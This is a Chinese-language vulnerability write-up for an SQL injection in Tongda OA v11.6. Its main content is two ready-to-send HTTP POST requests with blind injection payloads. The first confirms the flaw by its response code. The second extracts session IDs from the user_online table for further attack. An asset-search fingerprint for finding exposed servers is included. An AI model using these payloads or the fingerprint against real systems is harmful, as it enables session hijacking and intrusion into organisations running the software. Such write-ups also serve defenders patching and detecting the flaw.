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55 lines
1.3 KiB
Plaintext
55 lines
1.3 KiB
Plaintext
# 通达OA v11.6 insert SQL注入漏洞
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## 漏洞描述
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通达OA v11.6 insert参数包含SQL注入漏洞，攻击者通过漏洞可获取数据库敏感信息
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## 漏洞影响
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```
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通达OA v11.6
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```
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## 网络测绘
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```
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app="TDXK-通达OA"
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```
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## 漏洞复现
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登陆页面
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发送请求包判断漏洞
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```
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POST /general/document/index.php/recv/register/insert HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 77
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip
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title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
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```
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返回302则是存在漏洞，返回500则不存在
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确认存在漏洞后，再通过SQL注入获取 SessionID进一步攻击
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```
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POST /general/document/index.php/recv/register/insert HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 122
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip
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title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=
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```
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